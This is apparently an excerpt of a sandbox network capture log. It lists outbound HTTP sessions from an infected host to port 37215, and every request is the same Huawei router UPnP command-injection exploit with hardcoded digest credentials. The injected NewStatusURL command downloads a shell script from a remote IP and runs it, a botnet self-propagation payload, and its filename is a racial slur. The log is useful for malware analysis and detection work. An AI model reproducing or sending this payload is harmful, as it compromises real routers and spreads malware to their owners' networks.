Feb 19, 2024 18:37:30.785264015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.929119110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.960815907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816099882 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.15	44032	45.125.108.93	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:26.604700089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.785283089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.929124117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.960835934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816087961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.15	52688	45.43.235.46	37215

Timestamp	Bytes transferred	Direction	Data
